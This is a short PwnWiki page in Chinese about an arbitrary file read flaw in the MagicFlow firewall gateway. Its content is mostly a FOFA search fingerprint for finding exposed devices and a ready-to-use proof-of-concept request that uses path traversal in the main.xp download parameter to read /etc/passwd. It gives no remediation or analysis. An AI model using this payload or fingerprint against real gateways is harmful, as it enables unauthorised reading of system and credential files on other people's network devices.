MagicFlow 防火墙网关 main.xp 任意文件读取漏洞

From PwnWiki
Revision as of 17:38, 18 June 2021 by Pwnwiki (talk | contribs) (Created page with "MagicFlow 防火墙网关 main.xp 任意文件读取漏洞")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Other languages:
Chinese • ‎中文(中国大陆)‎

漏洞影响

MagicFlow 防火墙网关

FOFA

app="MSA/1.0"

POC

/msa/main.xp?Fun=msaDataCenetrDownLoadMore+delflag=1+downLoadFileName=msagroup.txt+downLoadFile=../etc/passwd